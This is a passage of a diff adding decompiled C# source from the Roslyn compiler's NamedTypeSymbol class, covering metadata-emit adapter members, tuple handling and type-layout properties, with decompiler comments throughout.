TypeWithAnnotationsIsErrorType = (TypeWithAnnotations type) => type.HasType && type.Type.IsErrorType(); + + internal const int ValueTupleRestPosition = 8; + + internal const int ValueTupleRestIndex = 7; + + internal const string ValueTupleTypeName = "ValueTuple"; + + internal const string ValueTupleRestFieldName = "Rest"; + + private TupleExtraData? _lazyTupleData; + + private static readonly WellKnownType[] tupleTypes; + + private static readonly WellKnownMember[] tupleCtors; + + private static readonly WellKnownMember[][] tupleMembers; + + bool ITypeReference.IsEnum => (int)AdaptedNamedTypeSymbol.TypeKind == 5; + + bool ITypeReference.IsValueType => AdaptedNamedTypeSymbol.IsValueType; + + PrimitiveTypeCode ITypeReference.TypeCode + { + get + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + if (AdaptedNamedTypeSymbol.IsDefinition) + { + return AdaptedNamedTypeSymbol.PrimitiveTypeCode; + } + return (PrimitiveTypeCode)18; + } + } + + TypeDefinitionHandle ITypeReference.TypeDef + { + get + { + if (AdaptedNamedTypeSymbol is PENamedTypeSymbol pENamedTypeSymbol) + { + return pENamedTypeSymbol.Handle; + } + return default(TypeDefinitionHandle); + } + } + + IGenericMethodParameterReference ITypeReference.AsGenericMethodParameterReference => null; + + IGenericTypeInstanceReference ITypeReference.AsGenericTypeInstanceReference + { + get + { + if (!AdaptedNamedTypeSymbol.IsDefinition && AdaptedNamedTypeSymbol.Arity > 0) + { + return (IGenericTypeInstanceReference)(object)this; + } + return null; + } + } + + IGenericTypeParameterReference ITypeReference.AsGenericTypeParameterReference => null; + + INamespaceTypeReference ITypeReference.AsNamespaceTypeReference + { + get + { + if (AdaptedNamedTypeSymbol.IsDefinition && (object)AdaptedNamedTypeSymbol.ContainingType == null) + { + return (INamespaceTypeReference)(object)this; + } + return null; + } + } + + INestedTypeReference ITypeReference.AsNestedTypeReference + { + get + { + if ((object)AdaptedNamedTypeSymbol.ContainingType != null) + { + return (INestedTypeReference)(object)this; + } + return null; + } + } + + ISpecializedNestedTypeReference ITypeReference.AsSpecializedNestedTypeReference + { + get + { + if (!AdaptedNamedTypeSymbol.IsDefinition && (AdaptedNamedTypeSymbol.Arity == 0 || PEModuleBuilder.IsGenericType(AdaptedNamedTypeSymbol.ContainingType))) + { + return (ISpecializedNestedTypeReference)(object)this; + } + return null; + } + } + + IEnumerable ITypeDefinition.GenericParameters + { + get + { + ImmutableArray.Enumerator enumerator = AdaptedNamedTypeSymbol.TypeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + yield return (IGenericTypeParameter)(object)current.GetCciAdapter(); + } + } + } + + ushort ITypeDefinition.GenericParameterCount => GenericParameterCountImpl; + + private ushort GenericParameterCountImpl => (ushort)AdaptedNamedTypeSymbol.Arity; + + bool ITypeDefinition.IsAbstract => AdaptedNamedTypeSymbol.IsMetadataAbstract; + + bool ITypeDefinition.IsBeforeFieldInit + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + TypeKind typeKind = AdaptedNamedTypeSymbol.TypeKind; + if ((int)typeKind == 3 || (int)typeKind == 5) + { + return false; + } + ImmutableArray.Enumerator enumerator = AdaptedNamedTypeSymbol.GetMembers(".cctor").GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!enumerator.Current.IsImplicitlyDeclared) + { + return false; + } + } + return true; + } + } + + bool ITypeDefinition.IsComObject => AdaptedNamedTypeSymbol.IsComImport; + + bool ITypeDefinition.IsGeneric => AdaptedNamedTypeSymbol.Arity != 0; + + bool ITypeDefinition.IsInterface => AdaptedNamedTypeSymbol.IsInterface; + + bool ITypeDefinition.IsDelegate => AdaptedNamedTypeSymbol.IsDelegateType(); + + bool ITypeDefinition.IsRuntimeSpecial => false; + + bool ITypeDefinition.IsSerializable => AdaptedNamedTypeSymbol.IsSerializable; + + bool ITypeDefinition.IsSpecialName => AdaptedNamedTypeSymbol.HasSpecialName; + + bool ITypeDefinition.IsWindowsRuntimeImport => AdaptedNamedTypeSymbol.IsWindowsRuntimeImport; + + bool ITypeDefinition.IsSealed => AdaptedNamedTypeSymbol.IsMetadataSealed; + + bool ITypeDefinition.HasDeclarativeSecurity => AdaptedNamedTypeSymbol.HasDeclarativeSecurity; + + IEnumerable ITypeDefinition.SecurityAttributes => AdaptedNamedTypeSymbol.GetSecurityInformation() ?? SpecializedCollections.EmptyEnumerable(); + + ushort ITypeDefinition.Alignment + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + TypeLayout layout = AdaptedNamedTypeSymbol.Layout; + return (ushort)((TypeLayout)(ref layout)).Alignment; + } + } + + LayoutKind ITypeDefinition.Layout + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + TypeLayout layout = AdaptedNamedTypeSymbol.Layout; + return ((TypeLayout)(ref layout)).Kind; + } + } + + uint ITypeDefinition.SizeOf + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + TypeLayout layout = AdaptedNamedTypeSymbol.Layout; + return (uint)((TypeLayout)(ref layout)).Size; + } + } + + CharSet ITypeDefinition.StringFormat => AdaptedNamedTypeSymbol.MarshallingCharSet; + + ushort INamedTypeReference.GenericParameterCount => GenericParameterCountImpl; + + bool INamedTypeReference.MangleName => AdaptedNamedTypeSymbol.MangleName; + + string? INamedTypeReference.AssociatedFileIdentifier => AdaptedNamedTypeSymbol.GetFileLocalTypeMetadataNamePrefix(); + + string INamedEntity.Name => AdaptedNamedTypeSymbol.Name; + + string INamespaceTypeReference.NamespaceName => AdaptedNamedTypeSymbol.ContainingNamespace.QualifiedName; + + bool INamespaceTypeDefinition.IsPublic => (int)PEModuleBuilder.MemberVisibility(AdaptedNamedTypeSymbol) == 6; + + ITypeDefinition ITypeDefinitionMember.ContainingTypeDefinition => (ITypeDefinition)(object)AdaptedNamedTypeSymbol.ContainingType.GetCciAdapter(); + + TypeMemberVisibility ITypeDefinitionMember.Visibility => PEModuleBuilder.MemberVisibility(AdaptedNamedTypeSymbol); + + internal NamedTypeSymbol AdaptedNamedTypeSymbol => this; + + internal virtual bool IsMetadataAbstract + { + get + { + if (!IsAbstract) + { + return IsStatic; + } + return true; + } + } + + internal virtual bool IsMetadataSealed + { + get + { + if (!IsSealed) + { + return IsStatic; + } + return true; + } + } + + public abstract int Arity { get; } + + public abstract ImmutableArray TypeParameters { get; } + + internal abstract ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics { get; } + + public abstract NamedTypeSymbol ConstructedFrom { get; } + + public virtual NamedTypeSymbol EnumUnderlyingType => null; + + public override NamedTypeSymbol ContainingType => ContainingSymbol as NamedTypeSymbol; + + internal virtual bool KnownCircularStruct => false; + + internal bool KnownToHaveNoDeclaredBaseCycles => _hasNoBaseCycles; + + internal virtual bool IsExplicitDefinitionOfNoPiaLocalType => false; + + public MethodSymbol? DelegateInvokeMethod + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)TypeKind != 3) + { + return null; + } + ImmutableArray members = GetMembers("Invoke"); + if (members.Length != 1) + { + return null; + } + return members[0] as MethodSymbol; + } + } + + public ImmutableArray InstanceConstructors => GetConstructors(includeInstance: true, includeStatic: false); + + public ImmutableArray StaticConstructors => GetConstructors(includeInstance: false, includeStatic: true); + + public ImmutableArray Constructors => GetConstructors(includeInstance: true, includeStatic: true); + + public ImmutableArray Indexers + { + get + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Invalid comparison between Unknown and I4 + ImmutableArray simpleNonTypeMembers = GetSimpleNonTypeMembers("this[]"); + if (simpleNonTypeMembers.IsEmpty) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = simpleNonTypeMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 15) + { + instance.Add((PropertySymbol)current); + } + } + return instance.ToImmutableAndFree(); + } + } + + public abstract bool MightContainExtensionMethods { get; } + + public override bool IsReferenceType + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + TypeKind typeKind = TypeKind; + if ((int)typeKind != 5 && (int)typeKind != 10) + { + return (int)typeKind != 6; + } + return false; + } + } + + public override bool IsValueType + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + TypeKind typeKind = TypeKind; + if ((int)typeKind != 10) + { + return (int)typeKind == 5; + } + return true; + } + } + + public virtual bool IsScriptClass => false; + + internal bool IsSubmissionClass => (int)TypeKind == 12; + + public virtual bool IsImplicitClass => false; + + public abstract override string Name { get; } + + public override string MetadataName + { + get + { + string fileLocalTypeMetadataNamePrefix = this.GetFileLocalTypeMetadataNamePrefix(); + if (fileLocalTypeMetadataNamePrefix == null && !MangleName) + { + return Name; + } + return MetadataHelpers.ComposeAritySuffixedMetadataName(Name, Arity, fileLocalTypeMetadataNamePrefix); + } + } + + internal abstract bool IsFileLocal { get; } + + internal abstract FileIdentifier? AssociatedFileIdentifier { get; } + + internal abstract bool MangleName { get; } + + public abstract IEnumerable MemberNames { get; } + + internal abstract bool HasDeclaredRequiredMembers { get; } + + internal bool HasRequiredMembersError + { + get + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + EnsureRequiredMembersCalculated(); + return _lazyRequiredMembers == RequiredMembersErrorSentinel; + } + } + + internal bool HasAnyRequiredMembers + { + get + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (!HasDeclaredRequiredMembers) + { + return !AllRequiredMembers.IsEmpty; + } + return true; + } + } + + internal ImmutableSegmentedDictionary AllRequiredMembers + { + get + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + EnsureRequiredMembersCalculated(); + if (_lazyRequiredMembers == RequiredMembersErrorSentinel) + { + return ImmutableSegmentedDictionary.Empty; + } + return _lazyRequiredMembers; + } + } + + public abstract override Accessibility DeclaredAccessibility { get; } + + public override SymbolKind Kind => (SymbolKind)11; + + internal abstract bool HasCodeAnalysisEmbeddedAttribute { get; } + + internal abstract bool IsInterpolatedStringHandlerType { get; } + + public bool IsGenericType + { + get + { + NamedTypeSymbol namedTypeSymbol = this; + while ((object)namedTypeSymbol != null) + { + if (namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length != 0) + { + return true; + } + namedTypeSymbol = namedTypeSymbol.ContainingType; + } + return false; + } + } + + public virtual bool IsUnboundGenericType => false; + + public new virtual NamedTypeSymbol OriginalDefinition => this; + + protected sealed override TypeSymbol OriginalTypeSymbolDefinition => OriginalDefinition; + + internal virtual TypeMap TypeSubstitution => null; + + internal virtual bool IsDirectlyExcludedFromCodeCoverage => false; + + internal abstract bool HasSpecialName { get; } + + internal abstract bool IsComImport { get; } + + internal abstract bool IsWindowsRuntimeImport { get; } + + internal abstract bool ShouldAddWinRTMembers { get; } + + internal bool IsConditional + { + get + { + if (GetAppliedConditionalSymbols().Any()) + { + return true; + } + return BaseTypeNoUseSiteDiagnostics?.IsConditional ?? false; + } + } + + public abstract bool IsSerializable { get; } + + public abstract bool AreLocalsZeroed { get; } + + internal abstract TypeLayout Layout { get; } + + protected CharSet DefaultMarshallingCharSet => GetEffectiveDefaultMarshallingCharSet() ?? CharSet.Ansi; + + internal abstract CharSet MarshallingCharSet { get; } + + internal abstract bool HasDeclarativeSecurity { get; } + + internal virtual NamedTypeSymbol ComImportCoClass => null; + + internal virtual FieldSymbol FixedElementField => null; + + internal abstract bool IsInterface { get; } + + internal abstract NamedTypeSymbol NativeIntegerUnderlyingType { get; } + + INamedTypeSymbolInternal INamedTypeSymbolInternal.EnumUnderlyingType => (INamedTypeSymbolInternal)(object)EnumUnderlyingType; + + internal NamedTypeSymbol? TupleUnderlyingType + { + get + { + if (_lazyTupleData == null) + { + if (!IsTupleType) + { + return null; + } + return this; + } + return TupleData.TupleUnderlyingType; + } + } + + public sealed override bool IsTupleType + { + get + { + int tupleCardinality; + return IsTupleTypeOfCardinality(out tupleCardinality); + } + } + + internal TupleExtraData? TupleData + { + get + { + if (!IsTupleType) + { + return null; + } + if (_lazyTupleData == null) + { + Interlocked.CompareExchange(ref _lazyTupleData, new TupleExtraData(this), null); + } + return _lazyTupleData; + } + } + + public sealed override ImmutableArray TupleElementNames + { + get + { + if (_lazyTupleData != null) + { + return _lazyTupleData.ElementNames; + } + return default(ImmutableArray); + } + } + + private ImmutableArray TupleErrorPositions + { + get + { + if (_lazyTupleData != null) + { + return _lazyTupleData.ErrorPositions; + } + return default(ImmutableArray); + } + } + + private ImmutableArray TupleElementLocations + { + get + { + if (_lazyTupleData != null) + { + return _lazyTupleData.ElementLocations; + } + return default(ImmutableArray); + } + } + + public sealed override ImmutableArray TupleElementTypesWithAnnotations + { + get + { + if (!IsTupleType) + { + return default(ImmutableArray); + } + return TupleData.TupleElementTypesWithAnnotations(this); + } + } + + public sealed override ImmutableArray TupleElements + { + get + { + if (!IsTupleType) + { + return default(ImmutableArray); + } + return TupleData.TupleElements(this); + } + } + + ITypeDefinition ITypeReference.GetResolvedType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder moduleBeingBuilt = (PEModuleBuilder)(object)context.Module; + return AsTypeDefinitionImpl(moduleBeingBuilt); + } + + INamespaceTypeDefinition ITypeReference.AsNamespaceTypeDefinition(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder pEModuleBuilder = (PEModuleBuilder)(object)context.Module; + if ((object)AdaptedNamedTypeSymbol.ContainingType == null && AdaptedNamedTypeSymbol.IsDefinition && AdaptedNamedTypeSymbol.ContainingModule == ((PEModuleBuilder)pEModuleBuilder).SourceModule) + { + return (INamespaceTypeDefinition)(object)this; + } + return null; + } + + INestedTypeDefinition ITypeReference.AsNestedTypeDefinition(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder moduleBeingBuilt = (PEModuleBuilder)(object)context.Module; + return AsNestedTypeDefinitionImpl(moduleBeingBuilt); + } + + private INestedTypeDefinition AsNestedTypeDefinitionImpl(PEModuleBuilder moduleBeingBuilt) + { + if ((object)AdaptedNamedTypeSymbol.ContainingType != null && AdaptedNamedTypeSymbol.IsDefinition && AdaptedNamedTypeSymbol.ContainingModule == ((PEModuleBuilder)moduleBeingBuilt).SourceModule) + { + return (INestedTypeDefinition)(object)this; + } + return null; + } + + ITypeDefinition ITypeReference.AsTypeDefinition(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder moduleBeingBuilt = (PEModuleBuilder)(object)context.Module; + return AsTypeDefinitionImpl(moduleBeingBuilt); + } + + private ITypeDefinition AsTypeDefinitionImpl(PEModuleBuilder moduleBeingBuilt) + { + if (AdaptedNamedTypeSymbol.IsDefinition && AdaptedNamedTypeSymbol.ContainingModule == ((PEModuleBuilder)moduleBeingBuilt).SourceModule) + { + return (ITypeDefinition)(object)this; + } + return null; + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/NamedTypeSymbolAdapter.cs", 217); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder moduleBeingBuilt = (PEModuleBuilder)(object)context.Module; + return (IDefinition)(object)AsTypeDefinitionImpl(moduleBeingBuilt); + } + + ITypeReference ITypeDefinition.GetBaseClass(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder pEModuleBuilder = (PEModuleBuilder)(object)context.Module; + NamedTypeSymbol namedTypeSymbol = AdaptedNamedTypeSymbol.BaseTypeNoUseSiteDiagnostics; + if (AdaptedNamedTypeSymbol.IsScriptClass) + { + namedTypeSymbol = AdaptedNamedTypeSymbol.ContainingAssembly.GetSpecialType((SpecialType)1); + } + if ((object)namedTypeSymbol == null) + { + return null; + } + return (ITypeReference)(object)pEModuleBuilder.Translate(namedTypeSymbol, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + + IEnumerable ITypeDefinition.GetEvents(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + foreach (EventSymbol item in AdaptedNamedTypeSymbol.GetEventsToEmit()) + { + IEventDefinition cciAdapter = (IEventDefinition)(object)item.GetCciAdapter(); + if (Extensions.ShouldInclude((ITypeDefinitionMember)(object)cciAdapter, context) || !EnumerableExtensions.IsEmpty(cciAdapter.GetAccessors(context))) + { + yield return cciAdapter; + } + } + } + + IEnumerable ITypeDefinition.GetExplicitImplementationOverrides(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder moduleBeingBuilt = (PEModuleBuilder)(object)context.Module; + ImmutableArray.Enumerator enumerator = AdaptedNamedTypeSymbol.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind != 9) + { + continue; + } + MethodSymbol method = (MethodSymbol)current; + if (method.ExplicitInterfaceImplementations.Length != 0) + { + MethodSymbol adapter = method.GetCciAdapter(); + ImmutableArray.Enumerator enumerator2 = method.ExplicitInterfaceImplementations.GetEnumerator(); + while (enumerator2.MoveNext()) + { + MethodSymbol current2 = enumerator2.Current; + yield return new MethodImplementation((IMethodDefinition)(object)adapter, moduleBeingBuilt.TranslateOverriddenMethodReference(current2, (CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics)); + } + } + if (AdaptedNamedTypeSymbol.IsInterface) + { + continue; + } + if (method.RequiresExplicitOverride(out var _)) + { + yield return new MethodImplementation((IMethodDefinition)(object)method.GetCciAdapter(), moduleBeingBuilt.TranslateOverriddenMethodReference(method.OverriddenMethod, (CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics)); + } + else + { + if ((int)method.MethodKind != 4 || (int)AdaptedNamedTypeSymbol.SpecialType == 1) + { + continue; + } + TypeSymbol specialType = AdaptedNamedTypeSymbol.DeclaringCompilation.GetSpecialType((SpecialType)1); + ImmutableArray.Enumerator enumerator3 = specialType.GetMembers("Finalize").GetEnumerator(); + while (enumerator3.MoveNext()) + { + if (enumerator3.Current is MethodSymbol methodSymbol && (int)methodSymbol.MethodKind == 4) + { + yield return new MethodImplementation((IMethodDefinition)(object)method.GetCciAdapter(), moduleBeingBuilt.TranslateOverriddenMethodReference(methodSymbol, (CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics)); + } + } + } + } + if (AdaptedNamedTypeSymbol.IsInterface) + { + yield break; + } + if (AdaptedNamedTypeSymbol is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol) + { + ImmutableArray<(MethodSymbol Body, MethodSymbol Implemented)>.Enumerator enumerator4 = sourceMemberContainerTypeSymbol.GetSynthesizedExplicitImplementations(default(CancellationToken)).MethodImpls.GetEnumerator(); + while (enumerator4.MoveNext()) + { + var (methodSymbol2, methodSymbol3) = enumerator4.Current; + yield return new MethodImplementation((IMethodDefinition)(object)methodSymbol2.GetCciAdapter(), moduleBeingBuilt.TranslateOverriddenMethodReference(methodSymbol3, (CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics)); + } + } + IEnumerable synthesizedMethods = ((PEModuleBuilder)moduleBeingBuilt).GetSynthesizedMethods(AdaptedNamedTypeSymbol); + if (synthesizedMethods == null) + { + yield break; + } + foreach (IMethodDefinition m in synthesizedMethods) + { + if (((IReference)m).GetInternalSymbol() is MethodSymbol { ExplicitInterfaceImplementations: var explicitInterfaceImplementations }) + { + ImmutableArray.Enumerator enumerator2 = explicitInterfaceImplementations.GetEnumerator(); + while (enumerator2.MoveNext()) + { + MethodSymbol current3 = enumerator2.Current; + yield return new MethodImplementation(m, moduleBeingBuilt.TranslateOverriddenMethodReference(current3, (CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics)); + } + } + } + } + + IEnumerable ITypeDefinition.GetFields(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + bool isStruct = AdaptedNamedTypeSymbol.IsStructType(); + foreach (FieldSymbol item in AdaptedNamedTypeSymbol.GetFieldsToEmit()) + { + if (isStruct || Extensions.ShouldInclude((ITypeDefinitionMember)(object)item.GetCciAdapter(), context)) + { + yield return (IFieldDefinition)(object)item.GetCciAdapter(); + } + } + IEnumerable synthesizedFields = ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).GetSynthesizedFields(AdaptedNamedTypeSymbol); + if (synthesizedFields == null) + { + yield break; + } + foreach (IFieldDefinition item2 in synthesizedFields) + { + if (isStruct || Extensions.ShouldInclude((ITypeDefinitionMember)(object)item2, context)) + { + yield return item2; + } + } + } + + IEnumerable ITypeDefinition.Interfaces(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + PEModuleBuilder moduleBeingBuilt = (PEModuleBuilder)(object)context.Module; + ImmutableArray.Enumerator enumerator = AdaptedNamedTypeSymbol.GetInterfacesToEmit().GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + INamedTypeReference typeRef = moduleBeingBuilt.Translate(current, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics, fromImplements: true); + TypeWithAnnotations type = TypeWithAnnotations.Create(current); + yield return type.GetTypeRefWithAttributes(moduleBeingBuilt, AdaptedNamedTypeSymbol, (ITypeReference)(object)typeRef); + } + } + + IEnumerable ITypeDefinition.GetMethods(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + bool alwaysIncludeConstructors = ((EmitContext)(ref context)).IncludePrivateMembers || AdaptedNamedTypeSymbol.DeclaringCompilation.IsAttributeType((TypeSymbol)AdaptedNamedTypeSymbol); + foreach (MethodSymbol item in AdaptedNamedTypeSymbol.GetMethodsToEmit()) + { + if ((alwaysIncludeConstructors && (int)item.MethodKind == 1) || Extensions.ShouldInclude((ITypeDefinitionMember)(object)item.GetCciAdapter(), context)) + { + yield return (IMethodDefinition)(object)item.GetCciAdapter(); + } + } + IEnumerable synthesizedMethods = ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).GetSynthesizedMethods(AdaptedNamedTypeSymbol); + if (synthesizedMethods == null) + { + yield break; + } + foreach (IMethodDefinition item2 in synthesizedMethods) + { + if ((alwaysIncludeConstructors && item2.IsConstructor) || Extensions.ShouldInclude((ITypeDefinitionMember)(object)item2, context)) + { + yield return item2; + } + } + } + + IEnumerable ITypeDefinition.GetNestedTypes(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = AdaptedNamedTypeSymbol.GetTypeMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + yield return (INestedTypeDefinition)(object)current.GetCciAdapter(); + } + IEnumerable synthesizedTypes = ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).GetSynthesizedTypes(AdaptedNamedTypeSymbol); + if (synthesizedTypes == null) + { + yield break; + } + foreach (INestedTypeDefinition item in synthesizedTypes) + { + yield return item; + } + } + + IEnumerable ITypeDefinition.GetProperties(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + foreach (PropertySymbol item in AdaptedNamedTypeSymbol.GetPropertiesToEmit()) + { + IPropertyDefinition cciAdapter = (IPropertyDefinition)(object)item.GetCciAdapter(); + if (Extensions.ShouldInclude((ITypeDefinitionMember)(object)cciAdapter, context) || !EnumerableExtensions.IsEmpty(cciAdapter.GetAccessors(context))) + { + yield return cciAdapter; + } + } + IEnumerable synthesizedProperties = ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).GetSynthesizedProperties(AdaptedNamedTypeSymbol); + if (synthesizedProperties == null) + { + yield break; + } + foreach (IPropertyDefinition item2 in synthesizedProperties) + { + if (Extensions.ShouldInclude((ITypeDefinitionMember)(object)item2, context) || !EnumerableExtensions.IsEmpty(item2.GetAccessors(context))) + { + yield return item2; + } + } + } + + IUnitReference INamespaceTypeReference.GetUnit(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return (IUnitReference)(object)((PEModuleBuilder)(object)context.Module).Translate(AdaptedNamedTypeSymbol.ContainingModule, context.Diagnostics); + } + + ITypeReference ITypeMemberReference.GetContainingType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return (ITypeReference)(object)((PEModuleBuilder)(object)context.Module).Translate(AdaptedNamedTypeSymbol.ContainingType, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics, fromImplements: false, AdaptedNamedTypeSymbol.IsDefinition); + } + + ImmutableArray IGenericTypeInstanceReference.GetGenericArguments(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Expected O, but got Unknown + PEModuleBuilder pEModuleBuilder = (PEModuleBuilder)(object)context.Module; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = AdaptedNamedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + for (int i = 0; i < typeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length; i++) + { + ITypeReference val = ((PEModuleBuilder)pEModuleBuilder).Translate(typeArgumentsWithAnnotationsNoUseSiteDiagnostics[i].Type, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + ImmutableArray customModifiers = typeArgumentsWithAnnotationsNoUseSiteDiagnostics[i].CustomModifiers; + if (!customModifiers.IsDefaultOrEmpty) + { + val = (ITypeReference)new ModifiedTypeReference(val, ImmutableArray.CastUp(customModifiers)); + } + instance.Add(val); + } + return instance.ToImmutableAndFree(); + } + + INamedTypeReference IGenericTypeInstanceReference.GetGenericType(EmitContext context) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return GenericTypeImpl(context); + } + + private INamedTypeReference GenericTypeImpl(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return ((PEModuleBuilder)(object)context.Module).Translate(AdaptedNamedTypeSymbol.OriginalDefinition, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics, fromImplements: false, needDeclaration: true); + } + + INestedTypeReference ISpecializedNestedTypeReference.GetUnspecializedVersion(EmitContext context) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return ((ITypeReference)GenericTypeImpl(context)).AsNestedTypeReference; + } + + internal new NamedTypeSymbol GetCciAdapter() + { + return this; + } + + internal virtual IEnumerable GetEventsToEmit() + { + ImmutableArray.Enumerator enumerator = GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 5) + { + yield return (EventSymbol)current; + } + } + } + + internal abstract IEnumerable GetFieldsToEmit(); + + internal abstract ImmutableArray GetInterfacesToEmit(); + + protected ImmutableArray CalculateInterfacesToEmit() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + HashSet seen = null; + InterfacesVisit(this, instance, ref seen); + return instance.ToImmutableAndFree(); + } + + private static void InterfacesVisit(NamedTypeSymbol namedType, ArrayBuilder builder, ref HashSet seen) + { + ImmutableArray.Enumerator enumerator = namedType.InterfacesNoUseSiteDiagnostics().GetEnumerator(); + while (enumerator.MoveNext()) + 